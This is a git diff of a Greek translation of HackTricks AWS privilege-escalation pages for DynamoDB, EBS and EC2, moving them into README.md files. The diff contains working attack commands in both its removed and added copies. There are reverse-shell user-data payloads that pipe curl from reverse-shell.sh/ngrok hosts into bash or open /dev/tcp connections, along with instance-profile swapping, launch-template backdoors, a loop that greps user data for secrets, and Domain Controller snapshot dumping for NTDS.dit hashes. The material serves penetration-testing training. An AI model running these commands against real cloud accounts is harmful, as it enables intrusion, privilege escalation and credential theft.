policy: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +Τώρα, θα πρέπει να έχετε τις permissions που χρειάζεστε. + +### Post Exploitation + +Όσο γνωρίζω, **δεν υπάρχει άλλος άμεσος τρόπος να escalate privileges in AWS απλώς έχοντας κάποιες AWS `dynamodb` permissions**. Μπορείτε να **διαβάσετε ευαίσθητες** πληροφορίες από τους πίνακες (οι οποίες μπορεί να περιέχουν AWS credentials) και να **γράψετε πληροφορίες στους πίνακες** (οι οποίες μπορεί να ενεργοποιήσουν άλλες ευπάθειες, όπως lambda code injections...) αλλά όλες αυτές οι επιλογές έχουν ήδη εξεταστεί στη **DynamoDB Post Exploitation page**: + +{{#ref}} +../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +{{#endref}} + +### TODO: Ανάγνωση δεδομένων εκμεταλλευόμενοι τα data Streams + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md deleted file mode 100644 index 560cbe6e7..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - EBS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EBS - -### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` - -Ένας επιτιθέμενος με αυτές τις άδειες θα είναι σε θέση να **κατεβάσει και να αναλύσει τοπικά τα στιγμιότυπα των όγκων** και να αναζητήσει ευαίσθητες πληροφορίες σε αυτά (όπως μυστικά ή πηγαίο κώδικα). Βρείτε πώς να το κάνετε αυτό στο: - -{{#ref}} -../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md -{{#endref}} - -Άλλες άδειες μπορεί επίσης να είναι χρήσιμες, όπως: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` - -Το εργαλείο [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) εκτελεί αυτή την επίθεση για να **εξάγει κωδικούς πρόσβασης από έναν ελεγκτή τομέα**. - -**Πιθανές Επιπτώσεις:** Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στο στιγμιότυπο (μπορείτε ακόμη και να αποκτήσετε κωδικούς πρόσβασης Active Directory). - -### **`ec2:CreateSnapshot`** - -Οποιοσδήποτε χρήστης AWS που κατέχει την άδεια **`EC2:CreateSnapshot`** μπορεί να κλέψει τους κατακερματισμούς όλων των χρηστών του τομέα δημιουργώντας ένα **στιγμιότυπο του Ελεγκτή Τομέα** τοποθετώντας το σε μια παρουσία που ελέγχει και **εξάγοντας το NTDS.dit και το SYSTEM** αρχείο μητρώου για χρήση με το έργο secretsdump του Impacket. - -Μπορείτε να χρησιμοποιήσετε αυτό το εργαλείο για να αυτοματοποιήσετε την επίθεση: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ή μπορείτε να χρησιμοποιήσετε μία από τις προηγούμενες τεχνικές μετά τη δημιουργία ενός στιγμιότυπου. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md new file mode 100644 index 000000000..9abed4832 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md @@ -0,0 +1,27 @@ +# AWS - EBS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EBS + +### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` + +Ένας επιτιθέμενος με αυτές τις άδειες θα μπορεί ενδεχομένως να **κατεβάσει και να αναλύσει τοπικά snapshot των volumes** και να αναζητήσει ευαίσθητες πληροφορίες σε αυτά (όπως secrets ή πηγαίο κώδικα). Βρείτε πώς να το κάνετε στο: + +{{#ref}} +../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +{{#endref}} + +Άλλες άδειες που μπορεί επίσης να είναι χρήσιμες είναι: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` + +Το εργαλείο [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) εκτελεί αυτή την επίθεση για να εξάγει κωδικούς από έναν Domain Controller. + +**Potential Impact:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στο snapshot (μπορείτε ακόμη και να αποκτήσετε Active Directory passwords). + +### **`ec2:CreateSnapshot`** + +Οποιοσδήποτε AWS user που κατέχει την άδεια **`EC2:CreateSnapshot`** μπορεί να κλέψει τα hashes όλων των domain χρηστών δημιουργώντας ένα **snapshot του Domain Controller**, προσαρτώντας το σε ένα instance που ελέγχει και **εξάγοντας το NTDS.dit and SYSTEM** registry hive αρχείο για χρήση με το Impacket's secretsdump project. + +Μπορείτε να χρησιμοποιήσετε αυτό το εργαλείο για να αυτοματοποιήσετε την επίθεση: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ή μπορείτε να χρησιμοποιήσετε μία από τις προηγούμενες τεχνικές μετά τη δημιουργία ενός snapshot. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md deleted file mode 100644 index ee57cc5f0..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ /dev/null @@ -1,261 +0,0 @@ -# AWS - EC2 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -Για περισσότερες **πληροφορίες σχετικά με το EC2** ελέγξτε: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -Ένας επιτιθέμενος θα μπορούσε να **δημιουργήσει μια παρουσία συνδέοντας έναν IAM ρόλο και στη συνέχεια να αποκτήσει πρόσβαση στην παρουσία** για να κλέψει τα διαπιστευτήρια του IAM ρόλου από το σημείο μεταδεδομένων. - -- **Πρόσβαση μέσω SSH** - -Εκτελέστε μια νέα παρουσία χρησιμοποιώντας ένα **δημιουργημένο** **ssh key** (`--key-name`) και στη συνέχεια συνδεθείτε σε αυτή (αν θέλετε να δημιουργήσετε ένα νέο, μπορεί να χρειαστεί να έχετε την άδεια `ec2:CreateKeyPair`). -```bash -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= --key-name \ ---security-group-ids -``` -- **Πρόσβαση μέσω rev shell στα δεδομένα χρήστη** - -Μπορείτε να εκτελέσετε μια νέα παρουσία χρησιμοποιώντας **δεδομένα χρήστη** (`--user-data`) που θα σας στείλει ένα **rev shell**. Δεν χρειάζεται να καθορίσετε ομάδα ασφαλείας με αυτόν τον τρόπο. -```bash -echo '#!/bin/bash -curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh - -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= \ ---count 1 \ ---user-data "file:///tmp/rev.sh" -``` -Προσοχή με το GuradDuty αν χρησιμοποιείτε τα διαπιστευτήρια του IAM ρόλου εκτός της παρουσίας: - -{{#ref}} -../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md -{{#endref}} - -**Πιθανές Επιπτώσεις:** Άμεσο privesc σε οποιονδήποτε EC2 ρόλο συνδεδεμένο με υπάρχοντα προφίλ παρουσίας. - -#### Privesc σε ECS - -Με αυτό το σύνολο δικαιωμάτων θα μπορούσατε επίσης να **δημιουργήσετε μια EC2 παρουσία και να την καταχωρίσετε μέσα σε ένα ECS cluster**. Με αυτόν τον τρόπο, οι **υπηρεσίες** του ECS θα **εκτελούνται** μέσα στην **EC2 παρουσία** όπου έχετε πρόσβαση και στη συνέχεια μπορείτε να διεισδύσετε σε αυτές τις υπηρεσίες (docker containers) και να **κλέψετε τους ECS ρόλους που είναι συνδεδεμένοι**. -```bash -aws ec2 run-instances \ ---image-id ami-07fde2ae86109a2af \ ---instance-type t2.micro \ ---iam-instance-profile \ ---count 1 --key-name pwned \ ---user-data "file:///tmp/asd.sh" - -# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) -# The EC2 instance profile needs basic ECS access -# The content of the user data is: -#!/bin/bash -echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; -``` -Για να μάθετε πώς να **αναγκάσετε τις υπηρεσίες ECS να εκτελούνται** σε αυτή τη νέα EC2 instance, ελέγξτε: - -{{#ref}} -aws-ecs-privesc.md -{{#endref}} - -Εάν **δεν μπορείτε να δημιουργήσετε μια νέα instance** αλλά έχετε την άδεια `ecs:RegisterContainerInstance`, μπορεί να μπορείτε να καταχωρήσετε την instance μέσα στο cluster και να εκτελέσετε την σχολιασμένη επίθεση. - -**Πιθανές Επιπτώσεις:** Άμεσο privesc σε ρόλους ECS που συνδέονται με εργασίες. - -### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** - -Παρόμοια με το προηγούμενο σενάριο, ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να **αλλάξει τον IAM ρόλο μιας συμβιβασμένης instance** ώστε να μπορέσει να κλέψει νέες διαπιστευτήρια.\ -Καθώς ένα instance profile μπορεί να έχει μόνο 1 ρόλο, εάν το instance profile **έχει ήδη έναν ρόλο** (συνηθισμένη περίπτωση), θα χρειαστεί επίσης **`iam:RemoveRoleFromInstanceProfile`**. -```bash -# Removing role from instance profile -aws iam remove-role-from-instance-profile --instance-profile-name --role-name - -# Add role to instance profile -aws iam add-role-to-instance-profile --instance-profile-name --role-name -``` -Αν το **instance profile έχει έναν ρόλο** και ο επιτιθέμενος **δεν μπορεί να τον αφαιρέσει**, υπάρχει μια άλλη λύση. Μπορεί να **βρει** ένα **instance profile χωρίς ρόλο** ή **να δημιουργήσει ένα νέο** (`iam:CreateInstanceProfile`), **να προσθέσει** τον **ρόλο** σε αυτό το **instance profile** (όπως συζητήθηκε προηγουμένως), και **να συσχετίσει το instance profile** που έχει παραβιαστεί με ένα παραβιασμένο i**nstance:** - -- Αν το instance **δεν έχει κανένα instance** profile (`ec2:AssociateIamInstanceProfile`) -```bash -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση για να αποκτήσετε πρόσβαση σε διαφορετικό ρόλο EC2 (πρέπει να έχετε παραβιάσει μια AWS EC2 instance και να έχετε κάποιες επιπλέον άδειες ή συγκεκριμένη κατάσταση προφίλ instance). - -### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) - -Με αυτές τις άδειες είναι δυνατόν να αλλάξετε το προφίλ instance που σχετίζεται με μια instance, οπότε αν η επίθεση είχε ήδη πρόσβαση σε μια instance, θα είναι σε θέση να κλέψει διαπιστευτήρια για περισσότερους ρόλους προφίλ instance αλλάζοντας αυτό που σχετίζεται με αυτήν. - -- Αν **έχει ένα προφίλ instance**, μπορείτε να **αφαιρέσετε** το προφίλ instance (`ec2:DisassociateIamInstanceProfile`) και να **συνδέσετε** το νέο. -```bash -aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da -aws ec2 disassociate-iam-instance-profile --association-id -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -- ή **αντικαταστήστε** το **προφίλ στιγμής** της παραβιασμένης στιγμής (`ec2:ReplaceIamInstanceProfileAssociation`). -```bash -aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id -``` -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση για πρόσβαση σε διαφορετικό ρόλο EC2 (πρέπει να έχετε παραβιάσει μια AWS EC2 instance και κάποιες επιπλέον άδειες ή συγκεκριμένη κατάσταση προφίλ instance). - -### `ec2:RequestSpotInstances`,`iam:PassRole` - -Ένας επιτιθέμενος με τις άδειες **`ec2:RequestSpotInstances`και`iam:PassRole`** μπορεί να **ζητήσει** μια **Spot Instance** με έναν **συνδεδεμένο ρόλο EC2** και μια **rev shell** στα **δεδομένα χρήστη**.\ -Μόλις εκτελεστεί η instance, μπορεί να **κλέψει τον ρόλο IAM**. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 request-spot-instances \ ---instance-count 1 \ ---launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" -``` -### `ec2:ModifyInstanceAttribute` - -Ένας επιτιθέμενος με το **`ec2:ModifyInstanceAttribute`** μπορεί να τροποποιήσει τα χαρακτηριστικά των instances. Μεταξύ αυτών, μπορεί να **αλλάξει τα δεδομένα χρήστη**, που σημαίνει ότι μπορεί να κάνει το instance να **εκτελεί αυθαίρετα δεδομένα.** Αυτό μπορεί να χρησιμοποιηθεί για να αποκτήσει μια **rev shell στο EC2 instance**. - -Σημειώστε ότι τα χαρακτηριστικά μπορούν να **τροποποιηθούν μόνο ενώ το instance είναι σταματημένο**, οπότε οι **άδειες** **`ec2:StopInstances`** και **`ec2:StartInstances`**. -```bash -TEXT='Content-Type: multipart/mixed; boundary="//" -MIME-Version: 1.0 - ---// -Content-Type: text/cloud-config; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="cloud-config.txt" - -#cloud-config -cloud_final_modules: -- [scripts-user, always] - ---// -Content-Type: text/x-shellscript; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="userdata.txt" - -#!/bin/bash -bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 ---//' -TEXT_PATH="/tmp/text.b64.txt" - -printf $TEXT | base64 > "$TEXT_PATH" - -aws ec2 stop-instances --instance-ids $INSTANCE_ID - -aws ec2 modify-instance-attribute \ ---instance-id="$INSTANCE_ID" \ ---attribute userData \ ---value file://$TEXT_PATH - -aws ec2 start-instances --instance-ids $INSTANCE_ID -``` -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων σε οποιοδήποτε EC2 IAM Role συνδεδεμένο με μια δημιουργημένη παρουσία. - -### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` - -Ένας επιτιθέμενος με τα δικαιώματα **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`και `ec2:ModifyLaunchTemplate`** μπορεί να δημιουργήσει μια **νέα έκδοση Launch Template** με ένα **rev shell στο** **user data** και **οποιοδήποτε EC2 IAM Role σε αυτό**, να αλλάξει την προεπιλεγμένη έκδοση, και **οποιαδήποτε ομάδα Autoscaler** **χρησιμοποιώντας** αυτό το **Launch Template** που είναι **ρυθμισμένο** να χρησιμοποιεί την **τελευταία** ή την **προεπιλεγμένη έκδοση** θα **ξανατρέξει τις παρουσίες** χρησιμοποιώντας αυτό το template και θα εκτελέσει το rev shell. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 create-launch-template-version \ ---launch-template-name bad_template \ ---launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" - -aws ec2 modify-launch-template \ ---launch-template-name bad_template \ ---default-version 2 -``` -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων σε διαφορετικό ρόλο EC2. - -### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` - -Ένας επιτιθέμενος με τα δικαιώματα **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** μπορεί να **δημιουργήσει μια Διαμόρφωση Εκκίνησης** με έναν **Ρόλο IAM** και μια **rev shell** μέσα στα **δεδομένα χρήστη**, στη συνέχεια να **δημιουργήσει μια ομάδα αυτόματης κλιμάκωσης** από αυτή τη διαμόρφωση και να περιμένει την rev shell να **κλέψει τον Ρόλο IAM**. -```bash -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ ---launch-configuration-name bad_config \ ---image-id ami-0c1bc246476a5572b \ ---instance-type t3.micro \ ---iam-instance-profile EC2-CloudWatch-Agent-Role \ ---user-data "$REV" - -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ---auto-scaling-group-name bad_auto \ ---min-size 1 --max-size 1 \ ---launch-configuration-name bad_config \ ---desired-capacity 1 \ ---vpc-zone-identifier "subnet-e282f9b8" -``` -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση για να αποκτηθεί πρόσβαση σε διαφορετικό ρόλο EC2. - -### `!autoscaling` - -Το σύνολο των δικαιωμάτων **`ec2:CreateLaunchTemplate`** και **`autoscaling:CreateAutoScalingGroup`** **δεν είναι αρκετά για να εκμεταλλευτούν** τα δικαιώματα σε έναν ρόλο IAM, διότι για να προσαρτήσετε τον ρόλο που καθορίζεται στη Διαμόρφωση Εκκίνησης ή στο Πρότυπο Εκκίνησης **χρειάζεστε τα δικαιώματα `iam:PassRole` και `ec2:RunInstances`** (το οποίο είναι μια γνωστή εκμετάλλευση). - -### `ec2-instance-connect:SendSSHPublicKey` - -Ένας επιτιθέμενος με το δικαίωμα **`ec2-instance-connect:SendSSHPublicKey`** μπορεί να προσθέσει ένα ssh κλειδί σε έναν χρήστη και να το χρησιμοποιήσει για να αποκτήσει πρόσβαση (αν έχει ssh πρόσβαση στην περίπτωση) ή για να εκμεταλλευτεί τα δικαιώματα. -```bash -aws ec2-instance-connect send-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---instance-os-user "ec2-user" \ ---ssh-public-key "file://$PUBK_PATH" -``` -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση των ρόλων IAM EC2 που είναι συνδεδεμένοι σε εκτελούμενες παρουσίες. - -### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` - -Ένας επιτιθέμενος με την άδεια **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** μπορεί **να προσθέσει ένα ssh key σε μια σειριακή σύνδεση**. Εάν η σειριακή σύνδεση δεν είναι ενεργοποιημένη, ο επιτιθέμενος χρειάζεται την άδεια **`ec2:EnableSerialConsoleAccess` για να την ενεργοποιήσει**. - -Για να συνδεθείτε στη σειριακή θύρα, πρέπει επίσης **να γνωρίζετε το όνομα χρήστη και τον κωδικό πρόσβασης ενός χρήστη** μέσα στη μηχανή. -```bash -aws ec2 enable-serial-console-access - -aws ec2-instance-connect send-serial-console-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---serial-port 0 \ ---region "eu-west-1" \ ---ssh-public-key "file://$PUBK_PATH" - -ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws -``` -Αυτή η μέθοδος δεν είναι τόσο χρήσιμη για privesc καθώς χρειάζεται να γνωρίζετε ένα όνομα χρήστη και έναν κωδικό πρόσβασης για να την εκμεταλλευτείτε. - -**Πιθανές Επιπτώσεις:** (Πολύ δύσκολα αποδεικνύεται) Άμεσο privesc στους ρόλους IAM EC2 που είναι συνδεδεμένοι σε εκτελούμενες παρουσίες. - -### `describe-launch-templates`,`describe-launch-template-versions` - -Δεδομένου ότι τα πρότυπα εκκίνησης έχουν εκδόσεις, ένας επιτιθέμενος με δικαιώματα **`ec2:describe-launch-templates`** και **`ec2:describe-launch-template-versions`** θα μπορούσε να τα εκμεταλλευτεί για να ανακαλύψει ευαίσθητες πληροφορίες, όπως διαπιστευτήρια που υπάρχουν στα δεδομένα χρήστη. Για να το επιτύχει αυτό, το παρακάτω σενάριο επαναλαμβάνει όλες τις εκδόσεις των διαθέσιμων προτύπων εκκίνησης: -```bash -for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') -do -echo "[*] Analyzing $i" -aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata -do -echo "VersionNumber: $version" -echo "$userdata" | base64 -d -echo -done | grep -iE "aws_|password|token|api" -done -``` -Στις παραπάνω εντολές, αν και καθορίζουμε ορισμένα μοτίβα (`aws_|password|token|api`), μπορείτε να χρησιμοποιήσετε μια διαφορετική regex για να αναζητήσετε άλλους τύπους ευαίσθητης πληροφορίας. - -Υποθέτοντας ότι βρίσκουμε `aws_access_key_id` και `aws_secret_access_key`, μπορούμε να χρησιμοποιήσουμε αυτά τα διαπιστευτήρια για να αυθεντικοποιηθούμε στο AWS. - -**Πιθανές Επιπτώσεις:** Άμεση κλιμάκωση προνομίων σε IAM χρήστη(ες). - -## Αναφορές - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md new file mode 100644 index 000000000..c174ffb18 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -0,0 +1,300 @@ +# AWS - EC2 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +Για περισσότερες **πληροφορίες σχετικά με το EC2** δείτε: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +Ένας επιτιθέμενος θα μπορούσε να **δημιουργήσει ένα instance με επισυναπτόμενο IAM role και στη συνέχεια να αποκτήσει πρόσβαση στο instance** για να κλέψει τα IAM role credentials από το metadata endpoint. + +- **Πρόσβαση μέσω SSH** + +Τρέξτε ένα νέο instance χρησιμοποιώντας ένα **δημιουργημένο** **ssh key** (`--key-name`) και μετά κάντε ssh σε αυτό (αν θέλετε να δημιουργήσετε νέο ίσως χρειαστεί να έχετε την άδεια `ec2:CreateKeyPair`). +```bash +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= --key-name \ +--security-group-ids +``` +- **Πρόσβαση μέσω rev shell σε user data** + +Μπορείς να τρέξεις ένα νέο instance χρησιμοποιώντας ένα **user data** (`--user-data`) που θα σου στείλει ένα **rev shell**. Δεν χρειάζεται να ορίσεις security group με αυτόν τον τρόπο. +```bash +echo '#!/bin/bash +curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh + +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= \ +--count 1 \ +--user-data "file:///tmp/rev.sh" +``` +Να είστε προσεκτικοί με GuradDuty αν χρησιμοποιείτε τα credentials του IAM role εκτός του instance: + +{{#ref}} +../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +{{#endref}} + +**Πιθανός Αντίκτυπος:** Άμεσο privesc σε οποιοδήποτε EC2 role που είναι συνδεδεμένο με υπάρχοντα instance profiles. + +#### Privesc σε ECS + +Με αυτό το σύνολο δικαιωμάτων μπορείτε επίσης να **create an EC2 instance and register it inside an ECS cluster**. Με αυτόν τον τρόπο, ECS **services** θα **run** μέσα στο **EC2 instance** όπου έχετε πρόσβαση και στη συνέχεια μπορείτε να penetrate those services (docker containers) και να **steal their ECS roles attached**. +```bash +aws ec2 run-instances \ +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" + +# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) +# The EC2 instance profile needs basic ECS access +# The content of the user data is: +#!/bin/bash +echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; +``` +Για να μάθετε πώς να **αναγκάσετε τις υπηρεσίες ECS να εκτελεστούν** σε αυτό το νέο EC2 instance ελέγξτε: + +{{#ref}} +../aws-ecs-privesc/README.md +{{#endref}} + +If you **cannot create a new instance** αλλά έχετε την άδεια `ecs:RegisterContainerInstance` μπορεί να μπορέσετε να εγγράψετε το instance μέσα στο cluster και να εκτελέσετε την προαναφερθείσα επίθεση. + +**Potential Impact:** Άμεσο privesc σε ECS roles που είναι attached σε tasks. + +### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** + +Παρόμοια με το προηγούμενο σενάριο, ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να **αλλάξει το IAM role του compromised instance** ώστε να κλέψει νέες διαπιστευτήριες.\ +Καθώς ένα instance profile μπορεί να έχει μόνο 1 role, αν το instance profile **έχει ήδη ένα role** (συνήθης περίπτωση), θα χρειαστείτε επίσης **`iam:RemoveRoleFromInstanceProfile`**. +```bash +# Removing role from instance profile +aws iam remove-role-from-instance-profile --instance-profile-name --role-name + +# Add role to instance profile +aws iam add-role-to-instance-profile --instance-profile-name --role-name +``` +Αν το **instance profile έχει role** και ο **attacker** **δεν μπορεί να το αφαιρέσει**, υπάρχει μια άλλη παράκαμψη. Μπορεί να **βρει** ένα **instance profile χωρίς role** ή να **δημιουργήσει ένα νέο** (`iam:CreateInstanceProfile`), να **προσθέσει** το **role** σε εκείνο το **instance profile** (όπως αναφέρθηκε προηγουμένως), και να **συνδέσει το instance profile** compromised με μια compromised **instance:** + +- Αν η **instance** **δεν έχει κανένα instance profile** (`ec2:AssociateIamInstanceProfile`) +```bash +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +**Πιθανός Αντίκτυπος:** Άμεσο privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει μια AWS EC2 instance και να έχετε κάποια επιπλέον άδεια ή συγκεκριμένη κατάσταση instance profile). + +### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) + +Με αυτές τις άδειες είναι δυνατόν να αλλάξετε το instance profile που είναι συσχετισμένο με μια instance, οπότε αν ο επιτιθέμενος είχε ήδη πρόσβαση σε μια instance, θα μπορέσει να κλέψει διαπιστευτήρια για περισσότερα instance profile roles αλλάζοντας αυτό που είναι συσχετισμένο με αυτήν. + +- Εάν **έχει instance profile**, μπορείτε να **αφαιρέσετε** το instance profile (`ec2:DisassociateIamInstanceProfile`) και να το **συνδέσετε** +```bash +aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da +aws ec2 disassociate-iam-instance-profile --association-id +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +- ή **αντικαταστήσετε** το **instance profile** της συμβιβασμένης instance (`ec2:ReplaceIamInstanceProfileAssociation`). +```bash +aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id +``` +**Πιθανός Αντίκτυπος:** Άμεση privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει ένα AWS EC2 instance και κάποιο επιπλέον permission ή συγκεκριμένη instance profile κατάσταση). + +### `ec2:RequestSpotInstances`,`iam:PassRole` + +Ένας επιτιθέμενος με τα permissions **`ec2:RequestSpotInstances` και `iam:PassRole`** μπορεί να **ζητήσει** ένα **Spot Instance** με **EC2 Role attached** και ένα **rev shell** στα **user data**.\ +Μόλις το instance τρέξει, μπορεί να **κλέψει το IAM role**. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 request-spot-instances \ +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +``` +### `ec2:ModifyInstanceAttribute` + +Ένας επιτιθέμενος με το **`ec2:ModifyInstanceAttribute`** μπορεί να τροποποιήσει τα instance attributes. Μεταξύ αυτών, μπορεί να **αλλάξει το user data**, που σημαίνει ότι μπορεί να κάνει το instance να **εκτελέσει αυθαίρετα δεδομένα.** Αυτό μπορεί να χρησιμοποιηθεί για να αποκτήσει ένα **rev shell στο EC2 instance**. + +Σημειώστε ότι τα attributes μπορούν να τροποποιηθούν μόνο ενώ το instance είναι σταματημένο, οπότε απαιτούνται τα δικαιώματα **`ec2:StopInstances`** και **`ec2:StartInstances`**. +```bash +TEXT='Content-Type: multipart/mixed; boundary="//" +MIME-Version: 1.0 + +--// +Content-Type: text/cloud-config; charset="us-ascii" 